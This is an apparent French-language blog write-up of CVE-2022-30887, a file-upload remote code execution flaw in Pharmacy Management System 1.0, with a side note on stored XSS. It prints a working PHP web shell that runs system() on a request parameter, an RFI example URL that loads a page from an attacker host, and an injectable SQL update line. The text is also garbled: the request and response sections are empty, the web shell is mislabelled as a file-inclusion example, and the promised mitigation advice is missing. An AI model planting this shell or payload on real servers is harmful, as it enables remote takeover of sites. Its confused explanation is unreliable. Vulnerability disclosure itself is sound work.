
Exploit de preuve de concept pour CVE-2022-30887, démontrant l'exécution de code à distance via le téléchargement de fichiers dans Pharmacy Management System 1.0, avec des conseils d'atténuation.
Cette application est développée par Mayurik Le projet de système de gestion de pharmacie en PHP a été développé pour améliorer la précision et l'efficacité des officines grâce à la sécurité et à la gestion. En bref, il s'agit d'une application d'inventaire de produits.
Il a été découvert que Pharmacy Management System v1.0 contient une vulnérabilité d'exécution de code à distance (RCE) via le composant "/php_action/editProductImage.php". Cette vulnérabilité permet aux attaquants d'exécuter du code arbitraire via un fichier image spécialement conçu.
Les vulnérabilités de téléchargement de fichier sont généralement des vulnérabilités qui permettent à un script de s'exécuter. Elles se produisent lorsque nous téléchargeons le fichier sur le serveur et exécutons une commande sur le fichier téléchargé. Les vulnérabilités de téléchargement de fichier sont divisées en deux types ;
Cette vulnérabilité se produit lorsque les fichiers locaux du serveur incluent le fichier récupéré auprès de l'utilisateur. Les valeurs reçues de l'utilisateur doivent être assainies.
Exemple de LFI (Local File Inclusion) ;
<?php
if($_REQUEST['s'])
{
system($_REQUEST['s']);
}
else
phpinfo();?>
Cette vulnérabilité fonctionne lorsque l'attaquant télécharge un logiciel malveillant depuis un serveur distant.
Exemple de RFI (Remote File Inclusion) ;
"www.victim_site.com/abc.php?test=http://www.attacker_site.com/attack_page"

Exemple de script shell PHP ;
<?php
if($_REQUEST['s'])
{
system($_REQUEST['s']);
}
else
phpinfo();?>
Requête ;

Réponse ;

Requête ;

Réponse ;


De plus, cette vulnérabilité est toujours active sur l'application.
Sur la même page "editproduct.php", j'ai trouvé une XSS stockée
$sql = "UPDATE product SET product_name = '$productName'
Dans ce bloc de code, vous pouvez sortir du contexte avec des guillemets doubles (")



J'espère avoir pu expliquer comment fonctionne la vulnérabilité d'inclusion de fichier, quelle situation déclenche cette vulnérabilité et comment empêcher cette attaque de la part des attaquants. Merci pour votre précieux temps.